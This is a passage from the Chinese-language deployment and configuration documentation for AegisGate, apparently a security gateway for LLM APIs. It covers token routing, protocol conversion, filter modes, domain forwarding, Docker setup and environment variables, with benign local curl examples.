  2. 该模式只适合 localhost / 内网来源;外部来源访问非 token /v1/... 会收到 403 token_route_required。例外:若请求携带正确的 x-aegis-proxy-token(值为 config/aegis_proxy_token.key),则不再校验来源 IP——这是给前置反向代理用的互信通道,详见 §1.7 自定义 HTTP 头。
  3. 该模式仅适用于 v1;v2 仍必须使用 token 路径,并额外配置 AEGIS_V2_TARGET_ALLOWLIST。
  4. 多上游场景建议使用 token 路径或端口路由(/v1/__gw__/t/{端口号}/...),而不是此模式。

2.1 Token 注册(多上游/多租户推荐)

先注册一次,之后客户端只配置 token baseUrl,不再每次传网关头。

注册:

# gateway_key 的值即 config/aegis_gateway.key 文件内容(cat config/aegis_gateway.key 查看)
curl -X POST http://127.0.0.1:18080/__gw__/register \
  -H "Content-Type: application/json" \
  -d '{"upstream_base":"https://remote-upstream.example.com/v1","gateway_key":"<YOUR_GATEWAY_KEY>","whitelist_key":["bn_key","okx_key"]}'

返回:

{
  "token": "ExampleToken24CharsAbc12",
  "baseUrl": "http://127.0.0.1:18080/v1/__gw__/t/ExampleToken24CharsAbc12",
  "whitelist_key": ["bn_key", "okx_key"]
}

说明:

  1. token 长度为 24 位纯字母数字(a-zA-Z0-9,不含 - _ 等符号),约 142 位熵。
  2. v1 必须是一对一:一个 token 对应一个 upstream_base URL(不支持 upstream_base 传 list)。
  3. v2 可复用该 token,因为 v2 转发目标由 x-target-url 决定,不绑定 upstream_base。
  4. whitelist_key 可选,支持字符串/数组(集合语义去重)。命中这些字段名的键值片段会跳过请求体脱敏,例如 bn_key=...、"bn_key": {...}、URL 参数 ?bn_key=...。字段名会被统一转小写,且必须匹配 ^[A-Za-z0-9_][A-Za-z0-9_.-]{0,63}$;不匹配的键会被静默丢弃,请以返回体中的 whitelist_key 为准核对实际生效值。
  5. 所有管理端点(register/lookup/add/remove/unregister)都需要在请求体中提供 gateway_key,其值即 config/aegis_gateway.key 文件内容(cat config/aegis_gateway.key 查看)。

然后请求:

curl -X POST http://127.0.0.1:18080/v1/__gw__/t/ExampleToken24CharsAbc12/responses \
  -H "Content-Type: application/json" \
  -d '{"model":"gpt-5.4-mini","input":"hello"}'

v2 请求示例(原始目标放请求头):

curl -X POST http://127.0.0.1:18080/v2/__gw__/t/ExampleToken24CharsAbc12/proxy \
  -H "Content-Type: application/json" \
  -H "x-target-url: https://httpbin.org/post" \
  -d '{"api_key":"sk-test-1234567890","message":"hello"}'

说明:v2 仅识别 x-target-url 请求头,头值必须是完整的 http:// 或 https:// URL,且目标主机需先加入 AEGIS_V2_TARGET_ALLOWLIST。

辅助接口:

  • 查询:POST /__gw__/lookup
  • 删除:POST /__gw__/unregister
  • 追加白名单:POST /__gw__/add(必填:token、gateway_key、whitelist_key(list);可选:upstream_base,传入则替换该 token 绑定上游)
  • 减少白名单:POST /__gw__/remove(必填:token、gateway_key、whitelist_key(list))

若使用 Caddy 对外暴露,建议在 Caddyfile 中阻断 /__gw__/* 管理端点(参见 Caddy 配置示例)。注册/查询/变更请通过 127.0.0.1:18080 或内网入口执行。

追加示例(在原 whitelist 基础上增加;可选替换 upstream_base):

curl -X POST http://127.0.0.1:18080/__gw__/add \
  -H "Content-Type: application/json" \
  -d '{"token":"ExampleToken24CharsAbc12","gateway_key":"<YOUR_GATEWAY_KEY>","whitelist_key":["bn_key","okx_key"],"upstream_base":"https://remote-upstream-2.example.com/v1"}'

减少示例(从原 whitelist 中删除):

curl -X POST http://127.0.0.1:18080/__gw__/remove \
  -H "Content-Type: application/json" \
  -d '{"token":"ExampleToken24CharsAbc12","gateway_key":"<YOUR_GATEWAY_KEY>","whitelist_key":["okx_key"]}'

2.2 协议转换(Anthropic → OpenAI)

当 token 配置了 "compat": "openai_chat" 时,网关自动将 Anthropic /v1/messages 请求转为 OpenAI /v1/responses 格式,并将响应转回。Claude Code 和 Anthropic SDK 无需改代码即可对接 OpenAI 兼容上游。

配置步骤:

  1. 在 config/gw_tokens.json 中注册 compat token(upstream_base 可选,走端口路径时不需要):

    {
      "tokens": {
        "claude-to-gpt": {
          "compat": "openai_chat"
        }
      }
    }
    
  2. 在 config/model_map.json 中配置全局模型映射:

    {
      "map": {
        "claude-opus-4-20250514": "gpt-5.4",
        "claude-sonnet-4-20250514": "gpt-5.4",
        "claude-haiku-4-5-20251001": "gpt-5.4-mini"
      }
    }
    
  3. 放开 compat 端口路由并配置客户端(AEGIS_COMPAT_ALLOWED_PORTS 默认空=拒绝所有端口路由,必须显式放开,否则返回 403 port_not_allowed):

    # 放开 compat 端口路由(默认空=全部拒绝)
    export AEGIS_COMPAT_ALLOWED_PORTS=8317
    
    # 客户端(以 Claude Code 为例)
    export ANTHROPIC_BASE_URL=http://<网关IP>:18080/v1/__gw__/t/claude-to-gpt/8317
    

URL 形式:

URL 行为
/v1/__gw__/t/claude-to-gpt/8317/messages Messages → Responses → :8317 → 响应转回 Messages
/v1/__gw__/t/claude-to-gpt/8317__redact/messages 同上 + 仅 PII 脱敏
/v1/__gw__/t/claude-to-gpt/8317__passthrough/messages 同上 + 跳过所有过滤
/v1/__gw__/t/8317/messages 原样透传(无转换)

模型映射优先级: token 级 model_map > 全局 config/model_map.json > token 级 default_model > gpt-5.4(默认)

允许的目标模型: gpt-5、gpt-5.2、gpt-5.4、gpt-5.4-mini、gpt-5.2-codex、gpt-5.3-codex

接入新上游模型无需改代码:在 config/model_map.json 的 allowed_models 数组中追加即可,它与内置清单取并集——内置集合是下界,配置只能增加、不能删除或清空。注意 config/model_map.json 仅在启动时读取,修改后需重启网关。

2.3 过滤模式(token__redact / token__passthrough)

在 token 后追加 __redact 或 __passthrough 后缀,可按需切换网关对该请求的过滤行为:

模式 URL 示例 行为
默认(全保护) /v1/__gw__/t/ExampleToken24CharsAbc12/chat/completions 执行策略中全部已启用的过滤器
仅脱敏(__redact) /v1/__gw__/t/ExampleToken24CharsAbc12__redact/chat/completions 仅执行脱敏相关过滤器(exact_value_redaction、redaction、restoration),跳过安全检测
直接穿透(__passthrough) /v1/__gw__/t/ExampleToken24CharsAbc12__passthrough/chat/completions 跳过所有过滤器,请求/响应直接转发到上游

使用示例(端口路由):

# 全保护(默认) — 全部安全过滤器生效
curl http://gateway:18080/v1/__gw__/t/8317/chat/completions ...

# 仅脱敏 — PII/密钥替换,跳过注入检测和响应拦截
curl http://gateway:18080/v1/__gw__/t/8317__redact/chat/completions ...

# 直接穿透 — 零过滤,请求/响应直接转发上游
curl http://gateway:18080/v1/__gw__/t/8317__passthrough/chat/completions ...

说明:

  1. 过滤模式仅对当前请求生效,不改变 token 本身的注册状态。
  2. 端口路由同样支持:/v1/__gw__/t/8317__redact/...、/v1/__gw__/t/8317__passthrough/...。
  3. 无效的模式名(如 __foo)会返回 400 invalid_filter_mode。
  4. 客户端自带的 x-aegis-filter-mode Header 会被剥离;如需切换模式,请使用 token URL 后缀。
  5. 审计日志会记录使用的过滤模式(filter_mode:redact 或 filter_mode:passthrough 安全标签)。
  6. passthrough 模式跳过所有安全过滤器,但仍保留最小协议兼容层:会剥离网关内部字段,并保留 Chat/Responses 的参数兼容转换,避免上游因请求格式不兼容返回 400。
  7. 安全提示:passthrough 模式跳过所有安全检查,建议仅在受信环境或调试场景使用。
  8. 公网提示:默认情况下,纯数字端口 token(1024–65535)与 __passthrough 模式会被公网/非内网客户端拒绝;对公网请使用随机 token(推荐),或启用 HMAC / 显式放开开关。

2.4 Claude 接入快速示例

# 非流式
curl -X POST 'http://127.0.0.1:18080/v1/__gw__/t/<TOKEN>/messages' \
  -H 'Content-Type: application/json' \
  -d '{"model":"claude-sonnet-4-6","max_tokens":128,"messages":[{"role":"user","content":"hello"}]}'

# 流式
curl -N -X POST 'http://127.0.0.1:18080/v1/__gw__/t/<TOKEN>/messages' \
  -H 'Content-Type: application/json' \
  -d '{"model":"claude-sonnet-4-6","stream":true,"max_tokens":128,"messages":[{"role":"user","content":"hi"}]}'

更多终端/客户端(Codex CLI、Cherry、VS Code、Cursor、WSL2)接入见:

外部 MCP / Skill 对外网站访问接入建议:

  1. 可走 v1:/v1/__gw__/t/<TOKEN>/...(推荐,检查链路更完整)。
  2. 可走 v2:/v2/__gw__/t/<TOKEN>/...(通用 HTTP 代理模式,需 x-target-url,且目标主机需加入 AEGIS_V2_TARGET_ALLOWLIST)。

2.5 整域名转发(baseUrl = 网关域名)

不想把路由键塞进 URL 路径时,可以按客户端域名路由:客户端 baseUrl 直接用网关域名,形状与上游原始地址一致,只改域名即可接入(sub2api / CLIProxyAPI / AIClient-2-API 等)。

客户端 → https://api.ag.example.com/v1/chat/completions → AegisGate → http://127.0.0.1:8317/v1/chat/completions
  1. 启动态打开开关(两项均为启动时固定):
AEGIS_ENABLE_GATEWAY_FORWARD=true
AEGIS_TRUSTED_PROXY_IPS=127.0.0.1   # 前置反代时必填
  1. 在 config/gw_forwards.json(或控制台「网关转发」面板)添加规则。upstream_base 填上游根地址,不带 /v1,整域名路径原样透传;模板见 config/gw_forwards.json.example。
{
  "version": 1,
  "forwards": {
    "api.ag.example.com": {
      "enabled": true,
      "upstream_base": "http://127.0.0.1:8317",
      "expose": "internal",
      "filters": { "mode": "policy" }
    }
  }
}
  1. 客户端 baseUrl 指向 https://api.ag.example.com。

命中域名后的分流:

请求 落点 过滤
POST /v1/chat/completions、/v1/responses、/v1/messages V1 对应 handler 按规则的 filters
其余路径与方法(含其它 /v1 POST、/v2/*、/relay/*、上游自己的管理台 / OAuth 回调 / 静态资源) 原样转发到 upstream_base 无
/__gw__、/metrics、/health、/ready、/、/robots.txt、/favicon.ico 网关自身(永不转发) —
/__ui__(控制台) 永不转发,且在转发域名上不提供:403 forward_console_blocked —

每条规则带一整套过滤开关(filters.mode: "custom"),可打开全局关掉的过滤器,也可关掉全局开着的。redaction 与 exact_value_redaction 是基线:public 规则要关它们,必须启动态 AEGIS_FORWARD_ALLOW_PUBLIC_BASELINE_OFF=true 显式授权,否则该条目拒载。

启用前需要知道的边界:

  • 本层不鉴权,只选目的地。 真实凭据是客户端自带、透传给上游的 Authorization。expose: "internal"(默认)只允许内网客户端;expose: "public" 对任何能设置 Host 的客户端开放。
  • 同一转发域名上的所有客户端共享一个 tenant 与会话 / 工具缓存命名空间,等同于一群客户端共用一个 token。需要按客户端隔离,请用 token 路径。
  • 前置条件:AEGIS_ENFORCE_LOOPBACK_ONLY 默认 true,boundary 会拒绝所有非本机对端;除非唯一对端是同机反代,否则需设为 false。经反代时 AEGIS_TRUSTED_PROXY_IPS 必须包含该反代,否则所有转发请求都会被判为公网客户端。
  • AEGIS_ENABLE_REQUEST_HMAC_AUTH=true 与转发互斥:HMAC 对所有非 passthrough 请求强制签名,浏览器访问转发域名无法提供签名;两者同开时转发表拒绝加载,控制台也拒绝修改转发表。
  • 上游命中 AEGIS_UPSTREAM_WHITELIST_URL_LIST 时,三条 LLM 路由整管线跳过,该规则的过滤开关不生效;启动日志与控制台会标出。
  • 三条 LLM 路由的流式响应会为安全扫描滞后转发:受滞后的 SSE 事件要等上游再发出 AEGIS_STREAM_SCAN_INTERVAL_CHUNKS × 2(默认 8)个同类事件、或回复结束后才放行。受滞后的是 chat completions / responses 上带文本的事件,以及 messages 上全部 message_* / content_block_* 事件。所以首个受滞后事件要等到上游第 9 个这类事件,之后按上游节奏逐条到达;短回复基本整段到达。其他路径上的 SSE(透传面)不缓冲。调低该值可缩短等待,代价是扫描更频繁(需重启)。
  • fail-closed:gw_forwards.json 解析失败或 version 不是 1 时,网关已知的全部域名一律 403 forward_config_invalid(连续多次保存坏文件也不会放行),控制台在文件修好或删除前不会覆盖它;单条非法只影响该域名。重启也不会放行:上次成功加载的域名清单记在 config/.gw_forwards.json.hosts(0600),文件能解析时也会拒绝其中列出的域名;删除规则文件表示不再转发,清单随之删除。
  • 保留路径会被遮蔽:上游如果也用 /metrics、/health,这些路径不会到达上游;规则停用或非法时保留路径照常由网关响应。
  • 控制台不在转发域名上提供:转发域名承载上游自己的页面与脚本,与控制台同源会让上游脚本读取 CSRF token、带会话 cookie 调管理接口或截获登录表单。任何命中的转发域名上 /__ui__* 一律 403 forward_console_blocked,请用网关自身地址(如 http://127.0.0.1:18080/__ui__)打开控制台。
  • 带 Content-Length 的上传流式透传,无 Content-Length 的上传会被缓冲;两者上限都取 AEGIS_FORWARD_MAX_REQUEST_BODY_BYTES、AEGIS_V2_MAX_REQUEST_BODY_BYTES 与 AEGIS_MAX_REQUEST_BODY_BYTES 中的最大值,对所有方法生效。
  • 只改写响应头(Location、Set-Cookie 的 Domain、Access-Control-Allow-Origin),不改写响应体:上游 HTML / JS / JSON 里写死的自身地址不会被替换。上游的 Date / Server 不转发(运行网关的服务器 uvicorn 会写自己的);响应体按上游编码原样透传,所以客户端没带 Accept-Encoding 时,发往上游的是 Accept-Encoding: identity。不支持 WebSocket;GET/POST/PUT/PATCH/DELETE/HEAD/OPTIONS 以外的方法返回 405。
  • 转发类请求头(透传路径与三条 LLM 路由相同):对端不是可信代理时,X-Forwarded-For / X-Real-IP / Forwarded 会被替换为真实对端;对端是可信代理时,X-Forwarded-* 沿用代理的值,X-Real-IP 按解析出的客户端 IP 重写,Forwarded 删除。控制台自己的 aegis_ui_* cookie 既不转发给上游,也不接受上游下发。
  • 审计:三条 LLM 路由的审计记录在 security_boundary 里带 forward_host / forward_mode / forward_branch;透传请求每次写一条 event: forward_passthrough 记录(域名、过滤模式、方法、不含 query 的路径、状态码、客户端 IP),被 boundary 在路由前拒绝的也会记录;控制台修改规则的审计记录带新旧 upstream_base、暴露面与过滤开关。
  • 转发域名上的 /v2/* 与 /relay/* 一律透传,不进网关自己的 v2 / relay 路由。

3. 本地开发与本地 UI

本节保留本地开发启动命令;Web UI 的单独说明见 WEBUI-QUICKSTART.md。

3.1 直接用 launcher 启动(推荐)

仓库根目录提供了一键启动入口:aegisgate-local.py。

python aegisgate-local.py install   # 首次安装依赖
python aegisgate-local.py init      # 初始化 config/.env 和默认策略文件
python aegisgate-local.py start     # 后台启动网关

完整子命令(含 status / logs / restart / stop / open-ui)与可用参数见 WEBUI-QUICKSTART.md。

启动成功后默认访问:

API: http://127.0.0.1:18080
UI:  http://127.0.0.1:18080/__ui__/login

登录说明:本地 UI 默认仅允许 loopback 访问,登录密码为 config/aegis_gateway.key 文件内容;如需允许内网访问,显式设置 AEGIS_LOCAL_UI_ALLOW_INTERNAL_NETWORK=true。

密钥轮换:控制台轮换 config/aegis_proxy_token.key 时,网关进程内的 proxy token 在写文件成功后立即生效。Caddy 仍只在启动时读一次该 token,因此 Caddy 转发的请求在 Caddy 重载前不会自动换成新 token。已设置 AEGIS_ENCRYPTION_KEY 时控制台拒绝轮换 Fernet 密钥(运行时读的是环境变量,写文件不会生效);上一把 Fernet 密钥保存失败时轮换中止,当前密钥文件保持不变。

说明:

  • start 会在需要时自动创建 .venv、安装项目依赖、执行 aegisgate.init_config,并以后台方式启动网关
  • launcher 会把自身状态与输出写入 logs/launcher/
  • 若当前环境下项目默认 sqlite 路径不可用,launcher 会自动切换到用户本地状态目录中的 sqlite 文件,避免启动失败

3.2 手动开发启动

安装:

python -m pip install -e .
# 可选
python -m pip install -e .[redis]
python -m pip install -e .[postgres]

启动:

uvicorn aegisgate.core.gateway:app --host 127.0.0.1 --port 18080 --reload --no-proxy-headers

健康检查:

curl http://127.0.0.1:18080/health

就绪检查(readiness):

curl http://127.0.0.1:18080/ready

响应体里有 checks 映射和 degraded_checks 列表。其中两项只上报、不影响就绪判定:

  • 规则文件在磁盘上解析不了时,security_rules 会显示 stale: <错误>。此时网关仍在执行 最后一次成功加载的那份规则,因此依然可以服务;而所有副本读的是同一个文件,在这里让就绪 失败会把它们同时摘掉,把一个配置笔误变成一次故障。
  • 有效风险阈值被 clamp 到高于 action_map 能给出的任何分数时,risk_gate 会显示 unreachable: security_level=… effective_threshold=…。此时所有「只抬 risk、不设 disposition」的 block 条目都是空转。在 AEGIS_SECURITY_LEVEL=low 下这就是该档位的 定义,不是故障,所以不参与就绪判定;上报是因为另一条到达同一状态的路径是回归—— 而在此之前这个条件在任何地方都没有出口。直接设 disposition 的过滤器不受影响,这正是 这类失效只坏一半、很难被发现的原因。

请对 degraded_checks 告警,而不是只看状态码。

UI 检查:

curl -I http://127.0.0.1:18080/__ui__/login

4. Docker 部署(配置/日志/token 持久化到宿主机)

本仓库默认基础部署(docker-compose.yml)仅启动 AegisGate,并把关键数据挂到宿主机:

  • ./config:策略、.env、gw_tokens.json
  • ./logs:aegisgate.db、audit.jsonl、aegisgate.log

基础模式启动:

docker network create cliproxyapi_default || true
docker network create sub2api-deploy_sub2api-network || true
docker compose up -d --build

说明:

  • 仓库自带 docker-compose.yml 默认依赖 CLIProxyAPI 与 Sub2API 的外部 Docker 网络,因此它不是完全独立的单 compose 文件。
  • 同一份 compose 还会注入 AEGIS_DOCKER_UPSTREAMS=8317:cli-proxy-api,8080:sub2api,3000:aiclient2api。这些映射会覆盖同名数字端口回退。
  • 如果你的环境没有这些上游服务名或网络连通性,请按实际部署覆盖/删除这些网络挂载与 AEGIS_DOCKER_UPSTREAMS。

默认端口策略:

  • 127.0.0.1:18080:18080:仅宿主机本机可访问,不对公网直接暴露。
  • expose: 18080:同 Docker 网络内其它容器可通过服务名 aegisgate:18080 访问。
  • extra_hosts: host.docker.internal:host-gateway:容器内可访问宿主机服务(Linux/WSL2 也可用)。
  • 对公网暴露时,在网关前加 Caddy 做 TLS(参见上方 Caddy 配置示例)。

改端口 / 上游也在 Docker 中的情况:

网关默认监听 18080。如需改为其他端口(如 28080),需同时修改三处:

# docker-compose.yml
ports:
  - "127.0.0.1:28080:28080"    # ① 宿主机映射
expose:
  - "28080"                     # ② 容器间暴露
environment:
  AEGIS_PORT: "28080"           # ③ 网关监听端口,同时决定控制台渲染的客户端 Base URL

镜像的启动命令读 AEGIS_PORT(缺省 18080),所以改这三处即可,不需要动 Dockerfile。 Dockerfile 里的 EXPOSE 18080 只是声明性的,不发布端口、也不跟随 AEGIS_PORT。

AEGIS_HOST 不参与容器内的监听地址:镜像固定绑 0.0.0.0,容器的网络边界是上面的端口映射而不是监听地址。裸机部署时才由 uvicorn 的 --host 或 launcher 决定。

上游服务也在 Docker 运行时,端口自动路由通过 host.docker.internal 访问宿主机端口。上游容器需要两项配置才能让网关到达:

# 上游服务的 docker-compose.yml(示例:CLIProxyAPI)
services:
  cliproxy:
    ports:
      - "127.0.0.1:8317:8317"              # ① 映射端口到宿主机
    extra_hosts:
      - "host.docker.internal:host-gateway" # ② 让容器能解析 host.docker.internal
  • ports:将上游端口映射到宿主机,网关容器通过 host.docker.internal:8317 才能到达
  • extra_hosts:Linux/WSL2 默认不自动添加 host.docker.internal,需显式配置(macOS/Windows Docker Desktop 已内置)

缺少任一项,网关请求 host.docker.internal:8317 会连接失败。AegisGate 自身的 compose 已包含这两项配置。

查看日志:

docker compose logs -f aegisgate

连通性快速自检(注册 + 响应):

# 0) 查看网关密钥(保存在 config/aegis_gateway.key,首次启动自动生成)
cat config/aegis_gateway.key

# 1) 宿主机 -> 容器:健康检查
curl -sS http://127.0.0.1:18080/health

# 2) 宿主机 -> 容器:注册 token(gateway_key 用上面查到的值)
curl -sS -X POST http://127.0.0.1:18080/__gw__/register \
  -H "Content-Type: application/json" \
  -d '{"upstream_base":"https://your-real-upstream.example.com/v1","gateway_key":"<YOUR_GATEWAY_KEY>"}'

# 3) 同网络容器 -> aegisgate(需要在同一 compose network)
docker run --rm --network $(basename "$PWD")_default curlimages/curl:8.10.1 \
  -sS http://aegisgate:18080/health

校验 token 是否持久化:

  1. 调 POST /__gw__/register 注册 token。
  2. 确认宿主机出现 ./config/gw_tokens.json。
  3. 执行 docker compose restart aegisgate。
  4. 用原 token 继续请求,应可正常使用(除非手动 unregister 或未注册)。

5. 关键环境变量

docker-compose.yml 的 environment: 已经设置的键在 config/.env.example 里保持注释,复制示例不会给它们赋值,控制台保存时也就不会盖掉 Compose。这些键是 AEGIS_HOST、AEGIS_PORT、AEGIS_ENV、AEGIS_ENFORCE_LOOPBACK_ONLY、AEGIS_ENABLE_LOCAL_PORT_ROUTING、AEGIS_LOCAL_PORT_ROUTING_HOST、AEGIS_SQLITE_DB_PATH、AEGIS_AUDIT_LOG_PATH。裸机需要不同取值时再取消注释。表中的默认值是键未设置时的代码默认值。AEGIS_ENFORCE_LOOPBACK_ONLY 启动后即固定;上面其余键若出现在 config/.env 里,热重载会采用文件中的值。

变量 说明 默认值
AEGIS_GATEWAY_KEY 网关密钥(可选,Docker/CI 覆盖用);默认从 config/aegis_gateway.key 自动加载,首次启动自动生成 文件加载
AEGIS_ENCRYPTION_KEY 脱敏映射加密密钥(Fernet AES-128-CBC+HMAC,留空自动生成到 config/aegis_fernet.key) 空(自动生成)
AEGIS_LOG_LEVEL 日志等级 info
AEGIS_LOG_FULL_REQUEST_BODY DEBUG 下是否打印完整请求体 false
AEGIS_ENFORCE_LOOPBACK_ONLY 仅允许本机访问 true
AEGIS_TRUSTED_PROXY_IPS 可信反向代理 IP(逗号分隔,支持 CIDR 如 172.16.0.0/12);仅这些 IP 的 XFF 会被信任,并且从右向左跳过仍是受信代理的跳。本机 Caddy 可设 127.0.0.1。nginx 请写 proxy_set_header X-Forwarded-For $remote_addr;(与 Caddy 的 {remote_host} 一样覆盖客户端自带的值)。改此项需重启;AEGIS_XFF_STRICT_INTERNAL=false 回滚不了它对 _real_client_ip / 限流键的影响。uvicorn 需带 --no-proxy-headers 启动(launcher 与 Dockerfile 已带):它自己的默认行为信任 127.0.0.1,会在网关之前用 X-Forwarded-For 替换对端 空
AEGIS_XFF_STRICT_INTERNAL 存在 XFF 且直连非可信代理时,将 admin / 默认 /v1 / UI / AEGIS_UPSTREAM_WHITELIST_URL_LIST 旁路视为公网。置 false 可临时回到旧判定。需重启 true
AEGIS_ENABLE_REQUEST_HMAC_AUTH 开启 HMAC 验签 false
AEGIS_UPSTREAM_BASE_URL v1 默认上游(仅 localhost / 内网客户端可直连 /v1/...) 空
AEGIS_UPSTREAM_WHITELIST_URL_LIST 白名单上游(逗号分隔)。命中的上游整体旁路请求与响应双侧过滤管道,包含 PII 脱敏,效果等同 __passthrough;仅用于完全可信上游。公网客户端默认不能走这条旁路,除非显式打开 AEGIS_ALLOW_PUBLIC_UPSTREAM_WHITELIST 空
AEGIS_ALLOW_PUBLIC_UPSTREAM_WHITELIST 是否允许公网/非内网客户端使用上游白名单旁路(危险;默认仅内网,与 __passthrough 对齐) false
AEGIS_STORAGE_FAILURE_ACTION 存储后端故障时的行为:block(安全默认,拒绝请求)或 forward(仅豁免映射/审计的持久化失败,不改变过滤判定与响应侧 block;未登记的请求侧过滤器仍 fail-closed) block
AEGIS_MAX_MULTIPART_BODY_BYTES multipart 请求体上限(/v1/files、/v1/images/edits、/v1/images/variations) 60000000
AEGIS_V2_MAX_REQUEST_BODY_BYTES v2 token 路由请求体上限(多模态负载会超过 v1 的 JSON 上限) 64000000
AEGIS_ENABLE_GATEWAY_FORWARD 开启整域名(按 Host)转发,规则在 config/gw_forwards.json。需重启 false
AEGIS_FORWARD_ALLOW_PUBLIC_BASELINE_OFF 是否允许 expose: public 规则关闭基线脱敏。需重启 false
AEGIS_GW_FORWARDS_PATH 转发规则文件路径 config/gw_forwards.json
AEGIS_FORWARD_MAX_REQUEST_BODY_BYTES 转发请求体上限(实际取本值、v2 上限与 AEGIS_MAX_REQUEST_BODY_BYTES 中的最大值) 64000000
AEGIS_FILTER_PIPELINE_TIMEOUT_S 过滤管道超时(秒) 90.0
AEGIS_REQUEST_PIPELINE_TIMEOUT_ACTION 请求过滤超时动作:block(安全默认)或 pass(兼容旧行为) block
AEGIS_ADMIN_RATE_LIMIT_PER_MINUTE 管理端点每 IP 每分钟最大请求数 30
AEGIS_STORAGE_BACKEND sqlite/redis/postgres sqlite
AEGIS_SQLITE_DB_PATH sqlite 文件路径 logs/aegisgate.db
AEGIS_AUDIT_LOG_PATH 审计日志路径 logs/audit.jsonl
AEGIS_ENABLE_DANGEROUS_RESPONSE_LOG 是否保存响应侧危险样本日志 false
AEGIS_DANGEROUS_RESPONSE_LOG_PATH 危险样本日志基路径;运行时会自动按日期切分为 dangerous_response_samples-YYYY-MM-DD 形式,带扩展名时会保留扩展名,并自动清理 10 天前旧文件;不可写时回退 /tmp/aegisgate/dangerous_response_samples-YYYY-MM-DD.jsonl logs/dangerous_response_samples.jsonl
AEGIS_GW_TOKENS_PATH token 映射文件路径 config/gw_tokens.json
AEGIS_MAX_REQUEST_BODY_BYTES 请求体上限 12000000
AEGIS_MAX_MESSAGES_COUNT messages 条数上限(仅对 /v1/chat/completions 生效) 500
AEGIS_MAX_CONTENT_LENGTH_PER_MESSAGE 单条消息长度上限 250000
AEGIS_MAX_RESPONSE_LENGTH 响应长度上限 2000000
AEGIS_SECURITY_LEVEL low/medium/high(见下方安全级别说明) medium
AEGIS_RISK_SCORE_THRESHOLD 全局风险评分阈值(0–1),越低越严格。策略 YAML 声明了 risk_threshold 就按策略覆盖它,而仓库自带的三个策略都声明了(default/permissive = 0.85,strict = 0.50),因此该值只对未声明该键的策略 YAML 生效。解析后的值还会再按 AEGIS_SECURITY_LEVEL 缩放,见 §5.2 0.7
AEGIS_ENABLE_SEMANTIC_MODULE 启用语义复核(灰区门控:仅当风险评分落在 (AEGIS_SEMANTIC_GRAY_LOW, AEGIS_SEMANTIC_GRAY_HIGH) 才触发) true
AEGIS_SEMANTIC_SERVICE_URL 当前主链路使用的语义服务地址;留空时仅灰区触发会记录 semantic_service_unconfigured 并降级(不做语义风险抬升) 空
AEGIS_SEMANTIC_GRAY_LOW 语义复核灰区下界(0–1) 0.25
AEGIS_SEMANTIC_GRAY_HIGH 语义复核灰区上界(0–1) 0.75
AEGIS_STRICT_COMMAND_BLOCK_ENABLED 强制命令拦截开关(命中即直接拦截并遮挡,不依赖阈值) false
AEGIS_ENABLE_LOCAL_PORT_ROUTING 本地端口自动路由(Docker 部署默认开启) false
AEGIS_ALLOW_PUBLIC_NUMERIC_TOKENS 是否允许公网/非内网客户端使用纯数字端口 token(默认仅内网) false
AEGIS_LOCAL_PORT_ROUTING_HOST 端口路由目标 Host host.docker.internal
AEGIS_ALLOW_PUBLIC_PASSTHROUGH_MODE 是否允许公网/非内网客户端使用 __passthrough(危险;默认仅内网) false
AEGIS_LOCAL_UI_ALLOW_INTERNAL_NETWORK 本地 UI 是否允许内网访问(默认仅 loopback) false
AEGIS_DOCKER_UPSTREAMS Docker 上游自动注入(格式:token:service[:port],逗号分隔;见下方说明) 空
AEGIS_ENABLE_BUILTIN_COMPAT_TOKENS 是否自动注入内置 compat token(如 claude-to-gpt) false
AEGIS_COMPAT_ALLOWED_PORTS compat token 允许访问的端口白名单(逗号分隔;留空即拒绝) 空
AEGIS_ENABLE_V2_PROXY 启用 v2 通用代理 true
AEGIS_V2_ENABLE_REQUEST_REDACTION v2 请求体脱敏开关 true
AEGIS_V2_ENABLE_RESPONSE_COMMAND_FILTER v2 响应 HTTP 注入攻击过滤开关 true
AEGIS_V2_RESPONSE_FILTER_OBVIOUS_ONLY v2 最小误拦模式(仅拦截协议层高危签名:走私/响应拆分/报文混淆) true
AEGIS_V2_TARGET_ALLOWLIST v2 目标主机白名单(留空即拒绝全部目标) 空
AEGIS_V2_RESPONSE_FILTER_BYPASS_HOSTS v2 响应拦截跳过域名(逗号分隔;支持 example.com/.example.com/*.example.com) 空
AEGIS_V2_RESPONSE_FILTER_MAX_CHARS v2 响应注入检测最大字符数 200000
AEGIS_V2_SSE_FILTER_PROBE_MAX_CHARS v2 SSE 流式响应检测探针最大字符数 4000
AEGIS_V2_BLOCK_INTERNAL_TARGETS v2 阻止请求到内网/私有 IP(SSRF 防护) true
AEGIS_ENABLE_RELAY_ENDPOINT 启用可选的 POST /relay/generate Relay 兼容端点 false

说明:

  • AEGIS_REQUIRE_CONFIRMATION_ON_BLOCK 已废弃,该值无论设为何均等同 false(拦截时自动遮挡/分割后返回)。
  • v1 与 v2 的 HTTP/HTTPS 响应命中库已统一收敛到协议层高危签名(来源于 sanitizer.command_patterns)。

5.1 Docker 上游自动注入(AEGIS_DOCKER_UPSTREAMS)

当上游服务也运行在 Docker 中时,端口自动路由(host.docker.internal)因 127.0.0.1 端口绑定无法到达。此变量在网关启动时自动注册 token → Docker 服务名映射,通过容器内网直连上游。

格式:token:service[:port],逗号分隔。port 省略时默认等于 token。

# docker-compose.yml 环境变量示例
AEGIS_DOCKER_UPSTREAMS=8317:cli-proxy-api,8080:sub2api,3000:aiclient2api
配置项 生成的 token upstream_base
8317:cli-proxy-api 8317 http://cli-proxy-api:8317/v1
8080:sub2api 8080 http://sub2api:8080/v1
3000:aiclient2api 3000 http://aiclient2api:3000/v1
8317:my-proxy:9000 8317 http://my-proxy:9000/v1
  • 注入的 token 优先级高于端口自动路由(named token > fallback)
  • 已存在的同名 token 会被覆盖(环境变量始终是权威来源)
  • 客户端 URL 不变:/v1/__gw__/t/8317/...
  • 改名/改端口/新增上游:修改此变量后重启网关即生效

5.2 安全级别(AEGIS_SECURITY_LEVEL)

三档定位,控制所有阈值/地板的缩放系数:

级别 定位 行为
high 全量检测,宁可误拦不放过 阈值缩小(×0.90),地板抬高(×1.05),更容易触发拦截
medium(默认) 中性档,按策略声明值 阈值不缩放(×1.00),地板降低(×0.85)
low 极宽松,基本只脱敏 阈值放大(×1.60),地板大幅降低(×0.70),几乎不触发 risk-based 拦截

medium 是中性档:直接用策略 YAML 声明的 risk_threshold,另外两档围绕它调整。 缩放后的阈值会被 clamp 到 1.0:

级别 default(0.85) strict(0.50) permissive(0.85)
high 0.765 0.45 0.765
medium(默认) 0.85 0.50 0.85
low 1.0(clamp) 0.80 1.0(clamp)

